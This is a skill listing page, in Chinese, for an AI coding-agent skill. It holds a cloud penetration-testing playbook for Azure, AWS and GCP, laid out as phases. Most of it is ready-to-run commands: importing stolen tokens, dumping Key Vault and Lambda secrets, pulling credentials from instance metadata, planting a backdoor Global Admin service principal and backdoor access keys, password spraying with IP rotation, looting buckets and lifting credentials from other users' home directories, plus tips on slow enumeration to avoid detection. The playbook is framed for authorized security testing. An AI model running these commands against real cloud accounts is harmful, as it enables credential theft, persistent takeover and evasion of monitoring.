mcpField
C
cloud-penetration-testing

cloud-penetration-testing

github.com/zebbern安全4.7k122 次安装今天更新
代码仓库

关于 cloud-penetration-testing

这份指南用于 Azure、AWS 和 GCP 环境的授权安全评估,按云平台整理侦察、身份验证、资源枚举、利用及报告工作流程。

主要功能

  1. 01Azure、AWS 和 GCP 流程
  2. 02云资源枚举
  3. 03身份验证与权限检查
  4. 04错误配置评估
  5. 05评估报告产出

适用场景

  1. 01盘点多个云账户中的资源
  2. 02评估 IAM 权限与暴露情况
  3. 03在授权项目中检查云配置

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/zebbern/claude-code-guide --skill cloud-penetration-testing

安装后在 Claude Code 中输入/cloud-penetration-testing确认已加载。

附带文件references/advanced-cloud-scripts.md

详细介绍

云渗透测试

目的

对 Microsoft Azure、Amazon Web Services (AWS) 和 Google Cloud Platform (GCP) 上的云基础设施开展全面的安全评估。本技能涵盖侦察、身份验证测试、资源枚举、权限提升、数据提取和持久化技术,适用于已获授权的云安全测试。

前提条件

必需工具
# Azure tools
Install-Module -Name Az -AllowClobber -Force
Install-Module -Name MSOnline -Force
Install-Module -Name AzureAD -Force

# AWS CLI
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip && sudo ./aws/install

# GCP CLI
curl https://sdk.cloud.google.com | bash
gcloud init

# Additional tools
pip install scoutsuite pacu
必需知识
  • 云架构基础知识
  • 身份和访问管理(IAM)
  • API 身份验证机制
  • DevOps 和自动化概念
必需访问权限
  • 书面测试授权
  • 测试凭据或访问令牌
  • 明确的测试范围和交战规则

输出和交付成果

  1. 云安全评估报告 - 全面列出发现的问题和风险评级
  2. 资源清单 - 枚举的服务、存储和计算实例
  3. 凭据发现 - 暴露的机密、密钥和错误配置
  4. 修复建议 - 针对各平台的安全加固指南

核心工作流

阶段 1:侦察

收集目标云环境的初始信息:

# Azure: Get federation info
curl "https://login.microsoftonline.com/[email protected]&xml=1"

# Azure: Get Tenant ID
curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"

# Enumerate cloud resources by company name
python3 cloud_enum.py -k targetcompany

# Check IP against cloud providers
cat ips.txt | python3 ip2provider.py
阶段 2:Azure 身份验证

验证 Azure 环境身份:

# Az PowerShell Module
Import-Module Az
Connect-AzAccount

# With credentials (may bypass MFA)
$credential = Get-Credential
Connect-AzAccount -Credential $credential

# Import stolen context
Import-AzContext -Profile 'C:\Temp\StolenToken.json'

# Export context for persistence
Save-AzContext -Path C:\Temp\AzureAccessToken.json

# MSOnline Module
Import-Module MSOnline
Connect-MsolService
阶段 3:Azure 枚举

发现 Azure 资源和权限:

# List contexts and subscriptions
Get-AzContext -ListAvailable
Get-AzSubscription

# Current user role assignments
Get-AzRoleAssignment

# List resources
Get-AzResource
Get-AzResourceGroup

# Storage accounts
Get-AzStorageAccount

# Web applications
Get-AzWebApp

# SQL Servers and databases
Get-AzSQLServer
Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG

# Virtual machines
Get-AzVM
$vm = Get-AzVM -Name "VMName"
$vm.OSProfile

# List all users
Get-MSolUser -All

# List all groups
Get-MSolGroup -All

# Global Admins
Get-MsolRole -RoleName "Company Administrator"
Get-MSolGroupMember -GroupObjectId $GUID

# Service Principals
Get-MsolServicePrincipal
阶段 4:Azure 利用

利用 Azure 错误配置:

# Search user attributes for passwords
$users = Get-MsolUser -All
foreach($user in $users){
    $props = @()
    $user | Get-Member | foreach-object{$props+=$_.Name}
    foreach($prop in $props){
        if($user.$prop -like "*password*"){
            Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)
        }
    }
}

# Execute commands on VMs
Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1

# Extract VM UserData
$vms = Get-AzVM
$vms.UserData

# Dump Key Vault secrets
az keyvault list --query '[].name' --output tsv
az keyvault set-policy --name <vault> --upn <user> --secret-permissions get list
az keyvault secret list --vault-name <vault> --query '[].id' --output tsv
az keyvault secret show --id <URI>
阶段 5:Azure 持久化

在 Azure 中建立持久化机制:

# Create backdoor service principal
$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)

# Add service principal to Global Admin
$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
$role = Get-MsolRole -RoleName "Company Administrator"
Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId

# Login as service principal
$cred = Get-Credential  # AppID as username, secret as password
Connect-AzAccount -Credential $cred -Tenant "tenant-id" -ServicePrincipal

# Create new admin user via CLI
az ad user create --display-name <name> --password <pass> --user-principal-name <upn>
阶段 6:AWS 身份验证

验证 AWS 环境身份:

# Configure AWS CLI
aws configure
# Enter: Access Key ID, Secret Access Key, Region, Output format

# Use specific profile
aws configure --profile target

# Test credentials
aws sts get-caller-identity
阶段 7:AWS 枚举

发现 AWS 资源:

# Account information
aws sts get-caller-identity
aws iam list-users
aws iam list-roles

# S3 Buckets
aws s3 ls
aws s3 ls s3://bucket-name/
aws s3 sync s3://bucket-name ./local-dir

# EC2 Instances
aws ec2 describe-instances

# RDS Databases
aws rds describe-db-instances --region us-east-1

# Lambda Functions
aws lambda list-functions --region us-east-1
aws lambda get-function --function-name <name>

# EKS Clusters
aws eks list-clusters --region us-east-1

# Networking
aws ec2 describe-subnets
aws ec2 describe-security-groups --group-ids <sg-id>
aws directconnect describe-connections
阶段 8:AWS 利用

利用 AWS 错误配置:

# Check for public RDS snapshots
aws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier
aws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>
# AttributeValues = "all" means publicly accessible

# Extract Lambda environment variables (may contain secrets)
aws lambda get-function --function-name <name> | jq '.Configuration.Environment'

# Access metadata service (from compromised EC2)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# IMDSv2 access
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"
阶段 9:AWS 持久化

在 AWS 中建立持久化机制:

# List existing access keys
aws iam list-access-keys --user-name <username>

# Create backdoor access key
aws iam create-access-key --user-name <username>

# Get all EC2 public IPs
for region in $(cat regions.txt); do
    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'
done
阶段 10:GCP 枚举

发现 GCP 资源:

# Authentication
gcloud auth login
gcloud auth activate-service-account --key-file creds.json
gcloud auth list

# Account information
gcloud config list
gcloud organizations list
gcloud projects list

# IAM Policies
gcloud organizations get-iam-policy <org-id>
gcloud projects get-iam-policy <project-id>

# Enabled services
gcloud services list

# Source code repos
gcloud source repos list
gcloud source repos clone <repo>

# Compute instances
gcloud compute instances list
gcloud beta compute ssh --zone "region" "instance" --project "project"

# Storage buckets
gsutil ls
gsutil ls -r gs://bucket-name
gsutil cp gs://bucket/file ./local

# SQL instances
gcloud sql instances list
gcloud sql databases list --instance <id>

# Kubernetes
gcloud container clusters list
gcloud container clusters get-credentials <cluster> --region <region>
kubectl cluster-info
阶段 11:GCP 利用

利用 GCP 错误配置:

# Get metadata service data
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"

# Check access scopes
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'

# Decrypt data with keyring
gcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global

# Serverless function analysis
gcloud functions list
gcloud functions describe <name>
gcloud functions logs read <name> --limit 100

# Find stored credentials
sudo find /home -name "credentials.db"
sudo cp -r /home/user/.config/gcloud ~/.config
gcloud auth list

快速参考

Azure 关键命令
操作命令
登录Connect-AzAccount
列出订阅Get-AzSubscription
列出用户Get-MsolUser -All
列出组Get-MsolGroup -All
当前角色Get-AzRoleAssignment
列出 VMGet-AzVM
列出存储Get-AzStorageAccount
Key Vault 机密az keyvault secret list --vault-name <name>
AWS 关键命令
操作命令
配置aws configure
调用方身份aws sts get-caller-identity
列出用户aws iam list-users
列出 S3 存储桶aws s3 ls
列出 EC2aws ec2 describe-instances
列出 Lambdaaws lambda list-functions
元数据curl http://169.254.169.254/latest/meta-data/
GCP 关键命令
操作命令
登录gcloud auth login
列出项目gcloud projects list
列出实例gcloud compute instances list
列出存储桶gsutil ls
列出集群gcloud container clusters list
IAM 策略gcloud projects get-iam-policy <project>
元数据curl -H "Metadata-Flavor: Google" http://metadata.google.internal/...
元数据服务 URL
提供商URL
AWShttp://169.254.169.254/latest/meta-data/
Azurehttp://169.254.169.254/metadata/instance?api-version=2018-02-01
GCPhttp://metadata.google.internal/computeMetadata/v1/
实用工具
工具用途
ScoutSuite多云安全审计
PacuAWS 利用框架
AzureHoundAzure AD 攻击路径映射
ROADToolsAzure AD 枚举
WeirdAALAWS 服务枚举
MicroBurstAzure 安全评估
PowerZureAzure 后渗透

约束和限制

法律要求
  • 仅在获得明确书面授权后进行测试
  • 遵守云账户之间的范围界限
  • 不得访问生产环境客户数据
  • 记录所有测试活动
技术限制
  • MFA 可能会阻止基于凭据的攻击
  • 条件访问策略可能会限制访问
  • CloudTrail/Activity Logs 会记录所有 API 调用
  • 某些资源需要特定区域的访问权限
检测注意事项
  • 云服务提供商会记录所有 API 活动
  • 异常访问模式会触发警报
  • 使用缓慢、谨慎的枚举方式
  • 考虑使用 GuardDuty、Security Center、Cloud Armor

示例

示例 1:Azure 密码喷洒

场景: 测试 Azure AD 密码策略

# Using MSOLSpray with FireProx for IP rotation
# First create FireProx endpoint
python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create

# Spray passwords
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox
示例 2:AWS S3 存储桶枚举

场景: 查找并访问配置错误的 S3 存储桶

# List all buckets
aws s3 ls | awk '{print $3}' > buckets.txt

# Check each bucket for contents
while read bucket; do
    echo "Checking: $bucket"
    aws s3 ls s3://$bucket 2>/dev/null
done < buckets.txt

# Download interesting bucket
aws s3 sync s3://misconfigured-bucket ./loot/
示例 3:GCP 服务账号泄露

场景: 利用已泄露的服务账号进行横向移动

# Authenticate with service account key
gcloud auth activate-service-account --key-file compromised-sa.json

# List accessible projects
gcloud projects list

# Enumerate compute instances
gcloud compute instances list --project target-project

# Check for SSH keys in metadata
gcloud compute project-info describe --project target-project | grep ssh

# SSH to instance
gcloud beta compute ssh instance-name --zone us-central1-a --project target-project

故障排除

问题解决方案
身份验证失败验证凭据;检查 MFA;确保租户/项目正确;尝试其他身份验证方法
权限被拒绝列出当前角色;尝试其他资源;检查资源策略;验证区域
元数据服务被阻止检查 IMDSv2(AWS);验证实例角色;检查防火墙对 169.254.169.254 的设置
速率限制增加延迟;分散到多个区域;使用多个凭据;优先关注高价值目标

参考资料

  • 高级云脚本 - Azure Automation 运行手册、Function Apps 枚举、AWS 数据外泄、GCP 高级利用

评论

支持 Markdown